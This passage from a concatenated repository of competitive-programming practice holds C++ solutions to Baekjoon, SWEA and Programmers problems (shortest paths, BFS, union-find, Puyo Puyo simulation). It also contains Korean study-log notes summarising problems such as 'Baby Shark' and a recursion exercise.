if (dist[next.me] > dist[cur.me] + next.weight) {
dist[next.me] = dist[cur.me] + next.weight;
next.weight = dist[next.me];
q.push(next);
}
}
}
for (int i = 1; i <= N; i++) {
total[i] += dist[i];
}
}
bool desc(int a, int b) {
return a > b;
}
void initDist() {
for (int i = 1; i <= N; i++) {
dist[i] = 2e7;
}
}
int main() {
scanf("%d %d %d", &N, &M, &X);
nodes.resize(N + 1);
reverseNodes.resize(N+1);
for (int i = 0; i < M; i++) {
scanf("%d %d %d", &from, &to, &weight);
nodes[from].push_back(Node(to, weight));
reverseNodes[to].push_back(Node(from, weight));
}
initDist();
findAns(nodes);
initDist();
findAns(reverseNodes);
sort(total + 1, total + N + 1, desc);
printf("%d", total[1]);
return 0;
}<file_sep>/baekjoon/3000번 버스(9546).cpp
#include <iostream>
using namespace std;
int tc, n;
int findAns() {
cin >> n;
int total = 1;
for (int i = 1; i < n; i++) {
total = (total + 0.5) * 2;
}
return total;
}
int main() {
cin >> tc;
for (int t = 1; t <= tc; t++) {
cout << findAns() << '\n';
}
return 0;
}<file_sep>/baekjoon/swea_조 만들기(8104).cpp
#include <iostream>
#define MAX 21
using namespace std;
int team[MAX][MAX];
int TC, N, K;
void calc(int &tc) {
int sum;
printf("#%d ", tc);
for (int i = 0; i < K; i++) {
sum = 0;
for (int j = 0; j < N; j++) {
sum += team[i][j];
}
printf("%d ", sum);
}
}
void findAns(int &tc) {
scanf("%d %d", &N, &K);
int total = N * K, val = 1;
while (total > val) {
for (int i = 0; i < N; i++) {
if (i % 2 == 0) {
for (int j = 0; j < K; j++) {
team[j][i] = val++;
}
}
else {
for (int j = K - 1; j >= 0; j--) {
team[j][i] = val++;
}
}
}
}
calc(tc);
}
int main() {
scanf("%d", &TC);
for (int t = 1; t <= TC; t++) {
findAns(t);
printf("\n");
}
return 0;
}<file_sep>/baekjoon/숫자 정사각형(1051).cpp
//#include <iostream>
//using namespace std;
//
//int n, m, ans;
//int arr[51][51];
//
//
//int CompareSize(int n, int m) {
// if (n > m) return m;
// else return n;
//}
//int CheckSquare(int length) {
// int result = 0;
// for (int len = length; len > 0; len--) {
// for (int i = 0; i < n; i++) {
// for (int j = 0; j < m; j++) {
// if (i + (len - 1) >= n || j + (len - 1) >= m) continue;
// if (arr[i][j] == arr[i + (len - 1)][j] && arr[i][j] == arr[i][j + (len - 1)] && arr[i][j] == arr[i + (len - 1)][j + (len - 1)]) {
// result = len * len;
// return result;
// }
// }
// }
// }
//}
//
//int main() {
// cin >> n >> m;
// for (int i = 0; i < n; i++) {
// for (int j = 0; j < m; j++) {
// scanf("%1d", &arr[i][j]);
// }
// }
// ans = CheckSquare(CompareSize(n, m));
// cout << ans;
// return 0;
//}
<file_sep>/baekjoon/swea_회문1.cpp
#include <iostream>
#include <string>
#define MAX_SIZE 8
using namespace std;
char board[8][8];
int N, ans;
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
void mulDir() {
for (int i = 0; i < 4; i++) {
dy[i] *= (N - 1);
dx[i] *= (N - 1);
}
}
void initDir() {
dy[0] = -1, dy[1] = 1, dy[2] = 0, dy[3] = 0;
dx[0] = 0, dx[1] = 0, dx[2] = -1, dx[3] = 1;
}
void input() {
scanf("%d", &N);
mulDir();
for (int i = 0; i < MAX_SIZE; i++) {
for (int j = 0; j < MAX_SIZE; j++) {
scanf(" %c", &board[i][j]);
}
}
}
int count(int y, int x) {
int my = 0, mx = 0, cnt = 0;
for (int k = 0; k < 4; k++) {
my = dy[k] + y;
mx = dx[k] + x;
if (my < 0 || mx < 0 || my >= 8 || mx >= 8) continue;
string a = "", b = "";
if (my > y) {
for (int i = y; i <= my; i++) {
a += board[i][x];
b += board[y + my - i][x];
}
}
else if (my < y) {
for (int i = my; i <= y; i++) {
a += board[i][x];
b += board[y + my - i][x];
}
}
else if (mx > x) {
for (int i = x; i <= mx; i++) {
a += board[y][i];
b += board[y][x + mx - i];
}
}
else {
for (int i = mx; i <= x; i++) {
a += board[y][i];
b += board[y][x + mx - i];
}
}
if (a == b) cnt++;
}
return cnt;
}
int findAns() {
int cnt = 0;
input();
for (int i = 0; i < MAX_SIZE; i++) {
for (int j = 0; j < MAX_SIZE; j++) {
cnt += count(i, j);
}
}
initDir();
return cnt/2;
}
int main() {
for (int t = 1; t <= 10; t++) {
cout << "#" << t << ' ' << findAns() << '\n';
ans = 0;
}
return 0;
}<file_sep>/baekjoon/알람시계(2884).cpp
#include <iostream>
#define SUB 45
#define MAXMINUTE 60
using namespace std;
int h, m;
void findAns() {
int total = h * MAXMINUTE + m;
total -= SUB;
if (total < 0) {
cout << 23 << ' ' << MAXMINUTE + total;
return;
}
cout << total / MAXMINUTE << ' ' << total % MAXMINUTE;
}
int main() {
cin >> h >> m;
findAns();
return 0;
}
//초로 바꿔서 뺄셈 이용
//-값이 나오는 경우 조건 추가<file_sep>/baekjoon/세로읽기(10798).cpp
#include <iostream>
#include <string>
#include <vector>
using namespace std;
vector<string> v;
int mxSize = -2e9;
void input() {
string input = "";
int size = 0;
for (int i = 0; i < 5; i++) {
getline(cin, input);
v.push_back(input);
size = input.size();
mxSize = size > mxSize ? size : mxSize;
}
}
string findAns() {
string ans = "";
for (int i = 0; i < mxSize; i++) {
for (int j = 0; j < v.size(); j++) {
if (v[j].size() < i + 1) continue;
ans += v[j][i];
}
}
return ans;
}
int main() {
input();
cout << findAns();
return 0;
}
//string 최대 15개 받음
//각 입력받은 string 벡터에 담음
//string.size()가 최대인 만큼 for문돌리고, 그 안에 다시 벡터의 사이즈만큼 for문 돌림
//각 string.size()보다 클경우는 continue;
//아니라면 string타입의 ans에 해당 문자 더해줌<file_sep>/baekjoon/BABBA(9625).cpp
#include <iostream>
using namespace std;
int N;
int ans[46];
void fib() {
ans[1] = 1; ans[2] = 1;
for (int i = 3; i <= N; i++) {
ans[i] = ans[i - 1] + ans[i - 2];
}
}
int main() {
scanf("%d", &N);
fib();
printf("%d %d", ans[N - 1], ans[N]);
return 0;
}<file_sep>/baekjoon/Puyo Puyo(11559).cpp
#include <iostream>
#include <string>
#include <queue>
#include <string.h>
#include <stack>
#define DOT '.'
using namespace std;
char board[12][6]; //게임 판
bool visit[12][6]; //방문 체크
int cnt[12][6]; //4개 이상 체크
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
struct Pos {
int y, x;
Pos(int y, int x) : y(y), x(x) {};
};
void bfs(int y, int x, int plus) {
queue<Pos> q;
q.push(Pos(y, x));
visit[y][x] = true;
cnt[y][x] = plus;
while (!q.empty()) {
Pos cur = q.front(); q.pop();
for (int k = 0; k < 4; k++) {
int ny = cur.y + dy[k];
int nx = cur.x + dx[k];
if (ny < 0 || nx < 0 || ny >= 12 || nx >= 6) continue;
if (board[ny][nx] == board[y][x] && !visit[ny][nx]) {
cnt[ny][nx] = ++plus;
visit[ny][nx] = true;
q.push(Pos(ny, nx));
}
}
}
}
void deleteBlock(int y, int x, char origin) {
queue<Pos> q;
q.push(Pos(y, x));
board[y][x] = DOT;
visit[y][x] = true;
while (!q.empty()) {
Pos cur = q.front(); q.pop();
for (int k = 0; k < 4; k++) {
int ny = cur.y + dy[k];
int nx = cur.x + dx[k];
if (ny < 0 || nx < 0 || ny >= 12 || nx >= 6) continue;
if (board[ny][nx] == origin && !visit[ny][nx]) {
board[ny][nx] = DOT;
visit[ny][nx] = true;
q.push(Pos(ny, nx));
}
}
}
}
void output() {
for (int i = 0; i < 12; i++) {
for (int j = 0; j < 6; j++) {
cout << board[i][j];
}
cout << '\n';
}
}
void down(int curX) {
//스택으로 y축의 값들을 넣어준 후, '.'이 아니면 pop, 알파벳이면 밑에서부터 채워주도록 한다.
stack<char> st;
int cntDot = 0;
for (int i = 0; i < 12; i++) {
if (board[i][curX] == DOT) cntDot++;
st.push(board[i][curX]);
}
int curY = 11;
while (!st.empty()) {
if (st.top() != DOT) {
board[curY][curX] = st.top();
st.pop();
curY--;
}
else st.pop();
}
for (int i = 0; i < cntDot; i++) board[i][curX] = DOT;
}
int ans = 0;
void findAns() {
while (1) {
for (int i = 0; i < 12; i++) {
for (int j = 0; j < 6; j++) {
if (board[i][j] != DOT && !visit[i][j]) {
bfs(i, j, 1);
}
}
}
memset(visit, false, sizeof(visit)); //카운트 체크 했으므로, 방문 체크 초기화
//4개 이상인 블록에 대해 지워주는 작업(.으로)
int check = 0;
for (int i = 0; i < 12; i++) {
for (int j = 0; j < 6; j++) {
if (cnt[i][j] >= 4 && !visit[i][j]) {
deleteBlock(i, j, board[i][j]);
check++;
}
}
}
if (check == 0) return;
ans++;
memset(visit, false, sizeof(visit));
memset(cnt, 0, sizeof(cnt));
//지워진 블록을 밑으로 내린다
for (int j = 0; j < 6; j++) {
down(j);
}
}
}
int main() {
for (int i = 0; i < 12; i++) {
for (int j = 0; j < 6; j++) {
cin >> board[i][j];
}
}
findAns();
cout << ans;
return 0;
}<file_sep>/TIL/2018-03-07(도영이가 만든 맛있는 음식_2961).md
# [도영이가 만든 맛있는 음식(2961번)](https://www.acmicpc.net/problem/2961)
## 문제
***도영이는 짜파구리 요리사로 명성을 날렸었다. 이번에는 이전에 없었던 새로운 요리에 도전을 해보려고 한다.
지금 도영이의 앞에는 재료가 N개 있다. 도영이는 각 재료의 신맛 S와 쓴맛 B를 알고 있다. 여러 재료를 이용해서 요리할 때, 그 음식의 신맛은 사용한 재료의 신맛의 곱이고, 쓴맛은 합이다.
시거나 쓴 음식을 좋아하는 사람은 많지 않다. 도영이는 재료를 적절히 섞어서 요리의 신맛과 쓴맛의 차이를 작게 만들려고 한다. 또, 물을 요리라고 할 수는 없기 때문에, 재료는 적어도 하나 사용해야 한다.
재료의 신맛과 쓴맛이 주어졌을 때, 신맛과 쓴맛의 차이가 가장 작은 요리를 만드는 프로그램을 작성하시오.***
## 풀이
재귀함수를 이용해서 풀 수 있는 문제이다.
주어진 N의 범위가 10이므로, N개 중 1~N개를 종류마다 뽑는 경우의 수는
nC1 + nC2 + nC3 + … + nCn으로 2^n -1 의 개수가 나온다.
따라서, N이 최대 10인경우, 1023가지의 경우의 수가 나오는 셈이다. 그럼 재귀로 시간초과없이 풀 수 있다는 소리.
이때, 재귀 과정에서 중복된 경우의 수를 제외해야 함을 주의하도록 한다.
(예> 1234, 2134는 같은 경우의 수로 판단)
## [소스코드](https://github.com/foreverever/baekjoon/blob/master/baekjoon/%EB%8F%84%EC%98%81%EC%9D%B4%EA%B0%80%20%EB%A7%8C%EB%93%A0%20%EB%A7%9B%EC%9E%88%EB%8A%94%20%EC%9D%8C%EC%8B%9D(2961).cpp)
## 부족한 부분
재귀함수는 아직도 어렵나보다.. 처음에는 무작정 배열의 첫번째 인덱스부터 탐색하게끔 하다보니, 중복되는 경우가 발생하여 시간초과가 났었다.
중복부분을 없애기 위해 재귀함수에 index라는 파라미터를 추가하여 탐색의 시작 위치를 지정하여 중복을 해결하였다. (자세한 내용은 소스코드로)
아직 재귀함수를 내 마음대로 짜는데 어려움이 있는 듯 하다. 재귀 관련 문제를 많이 풀어보자..
## 내일 할 일
- 알고리즘 2문제
- 이력서 준비
- 웹 공부<file_sep>/baekjoon/프로그래머스_섬 연결하기.cpp
#include <iostream>
#include <string>
#include <vector>
#include <algorithm>
using namespace std;
int parent[102];
bool cmp(vector<int> &a, vector<int> &b) {
return a[2] < b[2];
}
void init(int &n) {
for (int i = 0; i < n; i++) {
parent[i] = i;
}
}
int findParent(int &node) {
if (parent[node] == node) return node;
return parent[node] = findParent(parent[node]);
}
void unionSet(int &a, int &b) {
int pA = findParent(a);
int pB = findParent(b);
if (pA > pB) parent[pA] = pB;
else parent[pB] = pA;
}
int solution(int n, vector<vector<int>> costs) {
int answer = 0;
init(n);
sort(costs.begin(), costs.end(), cmp);
for (int i = 0; i < costs.size(); i++) {
int a = costs[i][0];
int b = costs[i][1];
int cost = costs[i][2];
if (findParent(a) != findParent(b)) {
unionSet(a, b);
answer += cost;
}
}
return answer;
}<file_sep>/baekjoon/프로세서 연결하기(swea_1767).cpp
#include <iostream>
#include <queue>
using namespace std;
struct Cell {
int y, x;
Cell(int y, int x) {
this->y = y;
this->x = x;
}
Cell() {}
};
int tc, N, cellSize, cnt, mx=-2e9, ans = 2e9;
int arr[12][12];
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
Cell cells[12];
int install(int ny, int nx, int idx, int k, int val) {
int c = 0;
while (1) {
if (ny == 0 || nx == 0 || ny == N - 1 || nx == N - 1) break;
ny += dy[k];
nx += dx[k];
arr[ny][nx] = val;
c++;
}
cnt++;
return c;
}
void dfs(int idx, int sum) {
if (idx == cellSize) {
//최대 프로세서 개수 세기
if (mx < cnt) {
mx = cnt;
ans = 2e9;
ans = ans > sum ? sum : ans;
return;
}
else if (mx == cnt) {
ans = ans > sum ? sum : ans;
return;
}
return;
}
int backupCnt = 0;
backupCnt = cnt;
for (int k = 0; k < 4; k++) {
int ny = cells[idx].y;
int nx = cells[idx].x;
bool isPossible = false;
//전력 연결 유무 판단
while (1) {
ny += dy[k];
nx += dx[k];
if (arr[ny][nx] == -1 || arr[ny][nx] == 1) break;
if (ny == 0 || nx == 0 || ny == N - 1 || nx == N - 1) {
isPossible = true;
break;
}
}
//연결가능 하면 전선 설치
if (isPossible) {
dfs(idx + 1, sum + install(cells[idx].y, cells[idx].x, idx, k, -1));
install(cells[idx].y, cells[idx].x, idx, k, 0);
}
else dfs(idx + 1, sum);
cnt = backupCnt;
}
}
int main() {
scanf("%d", &tc);
for (int t = 1; t <= tc; t++) {
scanf("%d", &N);
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
scanf("%d", &arr[i][j]);
if (i == 0 || j == 0 || i == N - 1 || j == N - 1) continue;
if (arr[i][j] == 1) {
cells[cellSize] = Cell(i, j);
cellSize++;
}
}
}
dfs(0,0);
printf("#%d %d\n", t, ans);
cellSize = 0;
ans = 2e9;
mx = -2e9;
cnt = 0;
}
return 0;
}<file_sep>/baekjoon/조세퍼스 문제 0(11866).cpp
//나머지 연산 사용 (12ms)
#include <iostream>
#include <vector>
#include <utility>
using namespace std;
int N, M;
vector<pair<int, bool> > v;
vector<int> ans;
int cnt, current;
void input() {
cin >> N >> M;
for (int i = 0; i < N; i++) {
v.push_back({ i,false });
}
}
void deleteNum(int current) {
ans.push_back(v[current].first + 1);
v[current].second = true;
cnt = 0;
}
void findAns() {
for (int i = 0; ans.size() != N; i++) {
current = i % N;
if (v[current].second) continue;
cnt++;
if (cnt != M) continue;
deleteNum(current);
}
}
void output() {
cout << '<';
for (int i = 0; i < ans.size(); i++) {
if (i == ans.size() - 1) cout << ans[i] << '>';
else cout << ans[i] << ", ";
}
}
int main() {
input();
findAns();
output();
return 0;
}
//큐 사용 (0ms)
#include <iostream>
#include <queue>
using namespace std;
int N, M;
queue<int> q;
void input() {
cin >> N >> M;
for (int i = 1; i <= N; i++) {
q.push(i);
}
}
void findAns() {
cout << '<';
while (!q.empty()) {
for (int i = 1; i < M; i++) {
q.push(q.front());
q.pop();
}
cout << q.front();
q.pop();
if (!q.empty()) cout << ", ";
}
cout << '>';
}
int main() {
input();
findAns();
return 0;
}<file_sep>/baekjoon/CAPS(15000).cpp
#include <iostream>
#include <string>
#include <algorithm> //transform
#include <ctype.h> //toupper, tolower
using namespace std;
string str;
//반복문, 아스키코드 방식 (28ms)
void findAns1() {
cin >> str;
for (char var : str) {
cout << char(var - 32);
}
}
//transform, toupper 방식 (8ms)
void findAns2() {
cin >> str;
transform(str.begin(), str.end(), str.begin(), ::toupper); //toupper : 소문자를 대문자로 tolower : 대문자를 소문자로
cout << str;
}
int main() {
ios_base::sync_with_stdio(false);
findAns1();
//findAns2();
return 0;
}<file_sep>/baekjoon/kakao_2018_3차_압축.cpp
#include <iostream>
#include <map>
#include <string>
#include <vector>
using namespace std;
map<string, int> m;
map<string, int>::iterator iter;
string alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int maxSize;
int start;
void initDictionary() {
for (int i = 1; i <= alphabet.size(); i++) {
string s(1, alphabet[i - 1]);
m[s] = i;
}
maxSize = 26;
}
vector<int> solution(string msg) {
initDictionary();
vector<int> answer;
for (int i = 0; i < msg.size(); i=start) {
cout << "i : " << i << '\n';
cout << "start : " << start << '\n';
for (int j = 1; j < msg.size(); j++) {
string str = msg.substr(start, j);
if (m.count(str)) {
continue;
}
else {
answer.push_back(m[msg.substr(start, j - 1)]); //이전 문자 값 저장
m[str] = ++maxSize;
start = i + j - 1;
break;
}
}
}
return answer;
}
int main() {
string msg = "TOBEORNOTTOBEORTOBEORNOT";
vector<int> ans = solution(msg);
//for (int val : ans) {
// cout << val << '\n';
//}
return 0;
}<file_sep>/baekjoon/매일프로그래밍_문제9.cpp
//정수 배열(int array)이 주어지면 0이 아닌 정수 순서를 유지하며 모든 0을 배열 오른쪽 끝으로 옮기시오.
//단, 시간복잡도는 O(n), 공간복잡도는 O(1)여야 합니다.
#include <iostream>
#define MAX 10000
using namespace std;
int arr[MAX];
int n, idx;
void input() {
cin >> n;
for (int i = 0; i < n; i++) {
cin >> arr[i];
}
}
void findAns() {
for (int i = 0; i < n; i++) {
if (arr[i] != 0) arr[idx++] = arr[i];
}
for (int i = idx; i < n; i++) arr[i] = 0;
for (int i = 0; i < n; i++) cout << arr[i] << ' ';
}
int main() {
input();
findAns();
return 0;
}<file_sep>/baekjoon/삼성_활주로 건설(4014).cpp
//#include <iostream>
//#include <vector>
//#include <math.h>
//#include <string.h>
//#define MAX 21
//using namespace std;
//int T;
//int N, x;
//int ans;
//vector<vector<int> > map;
//vector<int> width, height;
//int checkRightBridge[MAX], checkLeftBridge[MAX];
//
//void makeMap() {
// vector<int> e;
// e.resize(N);
// for (int i = 0; i < N; i++) {
// map.push_back(e);
// }
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < N; j++) {
// cin >> map[i][j];
// }
// }
//}
//
//void checkInstallBridge(vector<int> path) {
// //다리 설치 체크 배열 초기화
// memset(checkRightBridge, false, sizeof(checkRightBridge));
// memset(checkLeftBridge, false, sizeof(checkLeftBridge));
//
// //설치할 수 없는 경우
// for (int i = 0; i < path.size() - 1; i++) {
// if (abs(path[i] - path[i + 1]) > 1) return;
// }
// //모두 평지인 경우
// int check = 0;
// for (int i = 0; i < path.size() - 1; i++) {
// if (path[i] == path[i + 1]) check++;
// }
// if (check == path.size() - 1) {
// ans++;
// return;
// }
//
// //오른쪽 위 방향 다리 설치인 경우
// for (int i = 0; i < path.size() - 1; i++) {
// if (path[i] == path[i + 1] - 1) {
// int s = i + 1 - x;
// int e = i;
// if (s < 0) return;
// for (int j = s; j < e; j++) {
// if (path[j] != path[j + 1]) return;
// }
// for (int j = s; j <= e; j++) {
// checkRightBridge[j] = true;
// }
// }
// }
// //왼쪽 위 방향 다리 설치인 경우
// for (int i = 0; i < path.size() - 1; i++) {
// if (path[i] == path[i + 1] + 1) {
// int s = i + 1;
// int e = i + x;
// if (e >= N) return;
// for (int j = s; j < e; j++) {
// if (path[j] != path[j + 1]) return;
// }
// for (int j = s; j <= e; j++) {
// checkLeftBridge[j] = true;
// }
// }
// }
// //다리 설치 중복된 경우
// for (int i = 0; i < MAX; i++) {
// if (checkRightBridge[i] && checkLeftBridge[i]) return;
// }
// ans++;
//}
//
//int main() {
// cin >> T;
// for (int i = 1; i <= T; i++) {
// cin >> N >> x;
// makeMap();
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < N; j++) {
// //가로
// width.push_back(map[i][j]);
// //세로
// height.push_back(map[j][i]);
// }
// //활주로 설치 유무 판단(가로,세로)
// checkInstallBridge(width);
// checkInstallBridge(height);
// width.clear();
// height.clear();
// }
// cout << "#" << i << ' ' << ans << '\n';
// ans = 0;
// map.clear();
// }
// return 0;
//}<file_sep>/baekjoon/ATM(11399).cpp
#include <iostream>
#include <queue>
using namespace std;
int n;
int findAns() {
priority_queue<int, vector<int>, greater<int> > q;
int x = 0, sum = 0;
for (int i = 0; i < n; i++) {
cin >> x;
q.push(x);
}
while (!q.empty()) {
sum += q.top()*q.size();
q.pop();
}
return sum;
}
int main() {
cin >> n;
cout << findAns();
return 0;
}<file_sep>/baekjoon/TapeEquilibrium.cpp
#include <vector>
#include <math.h>
#include <iostream>
using namespace std;
int mn = 2e9;
int solution(vector<int> &A) {
int front = 0, back = 0;
for (int i = 0; i < A.size(); i++) back += A[i];
for (int i = 0; i < A.size()-1; i++) {
front += A[i]; back -= A[i];
mn = mn > abs(back - front) ? abs(back - front) : mn;
}
return mn;
}
int main() {
vector<int> v = { -1000,1000 };
cout << solution(v);
return 0;
}<file_sep>/baekjoon/학번(3711).cpp
#include <iostream>
#include <set>
#define MAX 301
#define ARRMAX 1000001
using namespace std;
int tc;
int numbers[MAX];
int findAnsByUsingSet() {
int n, m = 0;
cin >> n;
for (int i = 0; i < n; i++) {
cin >> numbers[i];
}
set<int> s;
while (s.size() != n) { //최대 백만
s.clear();
m++;
for (int i = 0; i < n; i++) { //최대 300
s.insert(numbers[i] % m);
}
}
return m;
}
bool check[ARRMAX];
bool isDuplicate;
void initCheck(int size, int k) {
for (int i = 0; i < size; i++) {
check[numbers[i] % k] = false;
}
isDuplicate = false;
}
int findAns() {
int n;
cin >> n;
for (int i = 0; i < n; i++) {
cin >> numbers[i];
}
if (n == 1) return 1;
for (int k = 1; k < ARRMAX; k++) {
//check 초기화
initCheck(n, k);
//check 수행
for (int i = 0; i < n; i++) {
if (check[numbers[i] % k]) isDuplicate = true;
check[numbers[i] % k] = true;
}
if (isDuplicate) continue;
initCheck(n, k);
return k;
}
}
int main() {
ios_base::sync_with_stdio(false);
cin.tie(NULL);
cin >> tc;
for (int t = 1; t <= tc; t++) {
cout << findAns() << '\n';
}
return 0;
}
//findAnsByUsingSet()
//1) 배열에 숫자를 담는다
//2) set의 사이즈가 담은 배열의 사이즈와 같을 때 까지 반복문을 돌린다
//3) set은 각 배열값을 m으로 나눈 나머지가 된다.
//4) 같으면 해당 숫자가 가장 작은 정수 m
//5) 680ms 시간걸림 단축할 필요
//findAns()
//1) 반복문 돌면서, 배열값을 나눈 나머지를 인덱스로 하는 또 다른 배열을 만든다.
//2) 해당 나머지 배열의 값이 true라면 이전에 나왔던 나머지이므로 다음 반복 진행
//3) 만약 이전에 나왔던 나머지가 없을 경우, 그 때의 m 리턴<file_sep>/baekjoon/JOI와 IOI(5586).cpp
#include <iostream>
#include <string>
using namespace std;
string str, tmp;
int first, second;
void findAns() {
for (int i = 0; i < str.size() - 2; i++) {
if (str[i] == 'J') {
tmp = str.substr(i, 3);
if (tmp == "JOI") first++;
}
else if (str[i] == 'I') {
tmp = str.substr(i, 3);
if (tmp == "IOI") second++;
}
}
}
int main() {
cin >> str;
findAns();
cout << first << '\n' << second;
return 0;
}<file_sep>/baekjoon/부녀회장이 퇼테야(2775).cpp
#include <iostream>
#define MAX 14
using namespace std;
int k, n;
int arr[MAX+1][MAX+1];
void initArr() {
for (int i = 1; i <= MAX; i++) {
arr[0][i] = i;
arr[i][1] = 1;
}
for (int i = 1; i <= MAX; i++) {
for (int j = 2; j <= MAX; j++) {
arr[i][j] = arr[i][j - 1] + arr[i - 1][j];
}
}
}
int main() {
int tc;
initArr();
cin >> tc;
for (int t = 1; t <= tc; t++) {
cin >> k >> n;
cout << arr[k][n] <<'\n';
}
return 0;
}<file_sep>/baekjoon/단어공부(1157).cpp
//#include <iostream>
//#include <string>
//#include <string.h>
//#include <vector>
//#include <utility>
//
//using namespace std;
//string str;
//vector <pair <char, int> > v;
//
////알파벳별 pair형 vector 생성 (알파벳(char),해당개수(int))
//void initAlphabet() {
// for (int i = 65; i < 91; i++) {
// v.push_back(make_pair(i, 0));
// }
//}
//
////알파벳 개수 세기
//void countAlphabet() {
// for (int i = 0; i < str.size(); i++) {
// for (int j = 0; j < v.size(); j++) {
// if (str[i] == v[j].first || str[i] == v[j].first + 32) {
// v[j].second++;
// }
// }
// }
//}
//
////정답 찾기(최대 알파벳 찾기 및 중복 체크)
//char findAns() {
// int max = -2e9;
// int dupl = 0;
// char ans;
// for (int i = 0; i < v.size(); i++) {
// max = v[i].second > max ? v[i].second : max;
// }
// for (int i = 0; i < v.size(); i++) {
// if (v[i].second == max) {
// dupl++;
// ans = v[i].first;
// }
// }
// if (dupl > 1) {
// return '?';
// }
// return ans;
//}
//
//int main() {
// cin >> str;
// initAlphabet();
// countAlphabet();
// char ans = findAns();
// cout << ans;
// return 0;
//}<file_sep>/baekjoon/불(5427).cpp
#include <iostream>
#include <queue>
#include <string.h>
using namespace std;
struct Pos {
int y, x;
Pos(int y, int x) {
this->y = y;
this->x = x;
}
Pos() {};
};
int tc, N, M;
char arr[1002][1002];
int fire[1002][1002], human[1002][1002];
bool visitF[1002][1002], visitH[1002][1002];
queue<Pos> fq, hq;
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
int bfs() {
//불 먼저 번지게끔
while (!fq.empty()) {
Pos cur = fq.front();
fq.pop();
for (int k = 0; k < 4; k++) {
int ny = cur.y + dy[k];
int nx = cur.x + dx[k];
if (ny < 0 || nx < 0 || ny >= N || nx >= M) continue;
if (visitF[ny][nx] == false && arr[ny][nx] != '#') {
visitF[ny][nx] = true;
fire[ny][nx] = fire[cur.y][cur.x] + 1;
fq.push(Pos(ny, nx));
}
}
}
//사람 이동
while (!hq.empty()) {
Pos cur = hq.front();
hq.pop();
for (int k = 0; k < 4; k++) {
int ny = cur.y + dy[k];
int nx = cur.x + dx[k];
if (ny < 0 || nx < 0 || ny >= N || nx >= M) continue;
if (fire[ny][nx] == 0) {
if (visitH[ny][nx] == false && arr[ny][nx] == '.') {
visitH[ny][nx] = true;
human[ny][nx] = human[cur.y][cur.x] + 1;
if (ny == 0 || nx == 0 || ny == N - 1 || nx == M - 1) return human[ny][nx] + 1;
hq.push(Pos(ny, nx));
}
}
else {
if (visitH[ny][nx] == false && arr[ny][nx] == '.' && fire[ny][nx] > human[cur.y][cur.x] + 1) {
visitH[ny][nx] = true;
human[ny][nx] = human[cur.y][cur.x] + 1;
if (ny == 0 || nx == 0 || ny == N - 1 || nx == M - 1) return human[ny][nx] + 1;
hq.push(Pos(ny, nx));
}
}
}
}
return -1;
}
void init() {
//초기화
while (!hq.empty()) hq.pop();
while (!fq.empty()) fq.pop();
memset(visitF, false, sizeof(visitF));
memset(visitH, false, sizeof(visitH));
memset(fire, 0, sizeof(fire));
memset(human, 0, sizeof(human));
}
int main() {
scanf("%d", &tc);
for (int t = 1; t <= tc; t++) {
scanf("%d %d", &M, &N);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf(" %c", &arr[i][j]);
if (arr[i][j] == '@') {
hq.push(Pos(i, j));
visitH[i][j] = true;
}
else if (arr[i][j] == '*') {
fq.push(Pos(i, j));
visitF[i][j] = true;
}
}
}
Pos h = hq.front();
if (h.y == 0 || h.x == 0 || h.y == N - 1 || h.x == M - 1) {
printf("%d\n", 1);
init();
continue;
}
int ans = bfs();
if (ans == -1) printf("IMPOSSIBLE\n");
else printf("%d\n", ans);
init();
}
return 0;
}
//불을 먼저 bfs로 이동(칸마다 도달하는 시간을 따로 배열에 저장)
//불 이동 완료 후, 사람 bfs 이동(칸마다 도달하는 시간을 따로 배열에 저장)
//불이 없는 경우는 해당 칸의 불 시간 배열값이 0이고, 이 경우는 사람 이동 가능
//불이 있는 경우는 해당 칸의 불 시간이 사람 시간보다 많을 시에만 사람 이동 가능<file_sep>/TIL/2019-03-13(아기상어_16236).md
# [아기 상어(16236번)](https://www.acmicpc.net/problem/16236)
## 문제
**N×N 크기의 공간에 물고기 M마리와 아기 상어 1마리가 있다. 공간은 1×1 크기의 정사각형 칸으로 나누어져 있다. 한 칸에는 물고기가 최대 1마리 존재한다.**
**아기 상어와 물고기는 모두 크기를 가지고 있고, 이 크기는 자연수이다. 가장 처음에 아기 상어의 크기는 2이고, 아기 상어는 1초에 상하좌우로 인접한 한 칸씩 이동한다.**
**아기 상어는 자신의 크기보다 큰 물고기가 있는 칸은 지나갈 수 없고, 나머지 칸은 모두 지나갈 수 있다. 아기 상어는 자신의 크기보다 작은 물고기만 먹을 수 있다. 따라서, 크기가 같은 물고기는 먹을 수 없지만, 그 물고기가 있는 칸은 지나갈 수 있다.**
**아기 상어가 어디로 이동할지 결정하는 방법은 아래와 같다.**
**더 이상 먹을 수 있는 물고기가 공간에 없다면 아기 상어는 엄마 상어에게 도움을 요청한다.**
**먹을 수 있는 물고기가 1마리라면, 그 물고기를 먹으러 간다.
먹을 수 있는 물고기가 1마리보다 많다면, 거리가 가장 가까운 물고기를 먹으러 간다.
거리는 아기 상어가 있는 칸에서 물고기가 있는 칸으로 이동할 때, 지나야하는 칸의 개수의 최소값이다.
거리가 가까운 물고기가 많다면, 가장 위에 있는 물고기, 그러한 물고기가 여러마리라면, 가장 왼쪽에 있는 물고기를 먹는다.
아기 상어의 이동은 1초 걸리고, 물고기를 먹는데 걸리는 시간은 없다고 가정한다. 즉, 아기 상어가 먹을 수 있는 물고기가 있는 칸으로 이동했다면, 이동과 동시에 물고기를 먹는다. 물고기를 먹으면, 그 칸은 빈 칸이 된다.**
**아기 상어는 자신의 크기와 같은 수의 물고기를 먹을 때 마다 크기가 1 증가한다. 예를 들어, 크기가 2인 아기 상어는 물고기를 2마리 먹으면 크기가 3이 된다.**
**공간의 상태가 주어졌을 때, 아기 상어가 몇 초 동안 엄마 상어에게 도움을 요청하지 않고 물고기를 잡아먹을 수 있는지 구하는 프로그램을 작성하시오.**
## 입력
**첫째 줄에 공간의 크기 N(2 ≤ N ≤ 20)이 주어진다.**
